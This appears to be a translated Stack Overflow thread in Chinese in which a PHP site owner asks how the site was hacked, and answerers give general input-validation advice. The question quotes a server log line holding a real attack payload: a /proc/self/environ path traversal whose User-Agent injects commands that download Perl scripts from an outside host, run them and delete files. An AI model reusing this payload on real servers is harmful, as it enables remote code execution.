1

我的网站遭到网络钓鱼攻击。这是一个复杂的网站,但我只使用 post 和 PHP 文件。

他们怎么可能攻击我?我只使用 $_POST 所以我相信没有 SQL 命令和参数是可见的。没有框架,只有我在网站上的小编码列表和访问。

任何提示/建议将不胜感激。

抱歉,如果我没有直接回复,但我正在与阻止整个网站的提供商打交道。

这是他们的答案(欢迎对此发表任何评论):

由于脚本注入攻击站点代码本身,它能够完全避开网络服务器的安全性。不幸的是,一些内容管理系统(尤其是旧版本的 Joomla)极易受到这种形式的攻击。

消除攻击者使用此方法的能力的一种简单方法是在网站的顶层添加一个包含以下内容的 php.ini 文件 - 请注意,尽管该网站之后需要测试以确保没有合法的网站脚本操作已受到更改的影响:


php.ini 指令是...

allow_url_include = "0"

allow_url_fopen = "0"

更新:

这是我从虚拟主机公司得到的:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] “GET /?p=../../../../../../../../ ../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/ byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http: //some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

4

3 回答 3

2

POST 请求也可以手动发出,例如使用 cURL。没有人能阻止人们打开一个 telnet 终端并手动发出命令,然后将任何参数发送到您的网站。

相反,您应该始终保护您的网站,并验证输入。无论它们来自 POST、GET 还是其他任何地方。此外,更喜欢使用 PDO 而不是 PHP 中的标准 mysql 函数。

您能否详细说明attack您的网站上发生了什么?

于 2011-09-12T13:26:59.140 回答
1

服务器被黑客入侵的方式有很多种。如果不了解有关您的项目或服务器的更多信息,很难告诉您它是如何发生的。

但一些提示:

确保始终对写入数据库的数据进行转义。例如,您可以使用 mysql_real_escape_string()。除了对您的脚本的攻击之外,您的服务器也可能受到攻击,例如通过 FTP 或 SSH。

除此之外,请始终确保更新您使用的所有流行框架/库。

于 2011-09-12T13:31:22.013 回答
0

$_POST 不是阻止 sql 攻击的有效方法。对于从 $_GET 或 $_POST 接收的所有值,您必须使用带有参数的准备好的语句,或者对所有这些参数使用 mysql_real_escape_string。

于 2011-09-12T13:31:47.987 回答